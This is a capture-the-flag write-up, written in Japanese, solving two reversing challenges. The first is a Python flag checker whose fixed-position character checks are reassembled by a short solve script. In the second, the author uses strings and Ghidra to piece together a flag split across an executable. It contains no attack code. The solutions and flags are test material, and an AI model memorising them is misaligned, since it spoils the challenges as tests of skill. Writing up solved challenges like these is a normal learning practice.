def checkends(password): end_status = 0 if password[:6] == "SHELL{": end_status = 1 if password[28] == "}": end_status = 1 return end_status def checkmiddle1(password): middle1_status = 0 if password[27] == "1" and password[17] == "4" and password[8] == "n" and password[23] == "y" and password[10] == "0": middle1_status = 1 if password[11] == "n" and password[12] == "z" and password[13] == "a" and password[21] == "g" and password[15] == "u": middle1_status = 1 if password[16] == "r"and password[7] == "3" : middle1_status = 1 return middle1_status def checkmiddle2(password): middle2_status = 0 if password[18] == "_" and password[25] == "5" and password[20] == "4" and password[14] == "k" and password[22] == "3" and password[9] == "b" and password[24] == "0": middle2_status = 1 if password[19] == "k" and password[26] == "h" and password[6] == "s" : middle2_status = 1 return middle2_status # driver code a = input("enter your flag:") if checkends(a) == 1 and checkmiddle1(a) == 1 and checkmiddle2(a) == 1: print("congrats thats the flag.") else: print("Wrong flag.")
check関連の関数内にある配列を並べるとフラグになる。
password = [''] * 100 for i, c in enumerate("SHELL{"): password[i] = c password[28] = "}" password[27] = "1" password[17] = "4" password[8] = "n" password[23] = "y" password[10] = "0" password[11] = "n" password[12] = "z" password[13] = "a" password[21] = "g" password[15] = "u" password[16] = "r" password[7] = "3" password[18] = "_" password[25] = "5" password[20] = "4" password[14] = "k" password[22] = "3" password[9] = "b" password[24] = "0" password[19] = "k" password[26] = "h" password[6] = "s" print(''.join(password))
$ python3 solve.py SHELL{s3nb0nzakur4_k4g3y05h1}
SHELL{s3nb0nzakur4_k4g3y05h1}
sakuna
Somebody told me this executable has priceless info hidden.
とりあえず、strings を実行してみると、以下のようになった。grep 結果を見ると、フラグが分割されているように見える。
$ strings sukuna.exe | grep SHELL -C 5 D$ H AUATUWVSH T$ D [^_]A\A] fffff. SHELL{ 5hR1n3} M3L0v4l3H CongratsH your flH ag is coH
Ghidra で文字列の参照箇所を確認すると、strcat で文字列を連結していた。
正しい順番で、文字列連結するとフラグになった。
SHELL{M3L0v4l3nT_5hR1n3}